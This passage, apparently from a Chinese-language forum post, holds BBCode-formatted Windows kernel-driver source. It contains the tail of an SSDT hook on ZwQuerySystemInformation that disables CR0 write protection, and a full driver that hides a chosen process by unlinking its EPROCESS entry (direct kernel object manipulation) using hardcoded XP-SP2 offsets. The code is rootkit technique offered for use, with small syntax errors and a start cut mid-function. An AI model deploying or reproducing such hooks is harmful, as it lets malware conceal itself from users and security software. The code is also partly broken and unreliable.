[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times]) [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )] = [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]回复内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]or [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]sti[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "UnHook SucessFul! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]DriverEntry( [/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUNICODE_STRING[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]RegistryPath[/FONT][/COLOR]
[COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverUnload[/FONT][/COLOR][COLOR=#808000][FONT=Times] = OnUnload; [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]) ];[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Hook Start ! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]去掉内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]cli[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]and [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], not [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times][ *([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#808000][FONT=Times])(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUCHAR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )] = [/FONT][/COLOR]
[COLOR=#808000][FONT=Times]NewZwQuerySystemInformation;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]回复内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]or [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]sti[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Hook SucessFul! \n" );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<ntddk.h>[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<windef.h>[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]我的是XP-SP2别的系统用WinDbg看一下EPROCESS的结构就行了[/FONT][/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#define [/FONT][/COLOR][COLOR=#808000][FONT=Times]PIDOFFSET[/FONT][/COLOR][COLOR=#808080][FONT=Times]0x84[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#define [/FONT][/COLOR][COLOR=#808000][FONT=Times]FLINKOFFSET[/FONT][/COLOR][COLOR=#808080][FONT=Times]0x88[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] pList_Org;[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//根据PID[FONT=宋体]得到进程的EPROCESS[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] FindProcessEPROCByID( int nPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]要返回的EPROCESS结构的地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#808000][FONT=Times]nCurrentPID = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#808000][FONT=Times]nStartPID = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]起始ID[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]int[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times]pList_Current;[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]当前线程的双链[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times] == nPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#a000a0][FONT=Times]PsGetCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]();[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nStartPID = *( ( int* )( dwEProc + PIDOFFSET ) );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nCurrentPID = nStartPID;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]while( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]TRUE[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( nPID == nCurrentPID )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return dwEProc;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else if ( ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times] > [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) && ( nStartPID == nCurrentPID) )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] )( dwEProc + FLINKOFFSET );[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]当前进程的LIST_ENTRY[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到下一个进程的LIST_ENTRY地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times] = dwEProc - FLINKOFFSET;[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到当前进程的EPROCESS[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]nCurrentPID = *( (int*)( dwEProc + PIDOFFSET ) );[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得到下一个进程的PID[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]nCount[/FONT][/COLOR][COLOR=#808000][FONT=Times]++;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]隐藏进程函数[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] HideProcess( )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times] pList_Current;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times][COLOR=#008000][FONT=Times]//[FONT=宋体]这里的1816就是在任务管理器中随便找的![/FONT][/FONT][/COLOR][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]dwEProc[/FONT][/COLOR][COLOR=#808000][FONT=Times]= FindProcessEPROCByID( [/FONT][/COLOR][COLOR=#808080][FONT=Times]1816[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]没有的到地址[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( dwEProc == [/FONT][/COLOR][COLOR=#808080][FONT=Times]0x00000000[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_INVALID_PARAMETER[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])( dwEProc + FLINKOFFSET );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Org = pList_Current;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]*( ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])&( pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Blink[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT=Times])&( pList_Current->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Flink[/FONT][/COLOR][COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]驱动卸载[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] OnUnload( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#808000][FONT=Times] pDriverObj )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Driver OnUnload! \n " )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]// [FONT=宋体]驱动加载[/FONT][/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//////////////////////////////////////////////////////////////////////////[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] DriverEntry( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#808000][FONT=Times] pDriverObj, [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PUNICODE_STRING[/FONT][/COLOR][COLOR=#808000][FONT=Times] pRegistryString)[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] ntStatus;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]pDriverObj->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverUnload[/FONT][/COLOR][COLOR=#808000][FONT=Times] = OnUnload;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]ntStatus = HideProcess();[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return ntStatus;[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课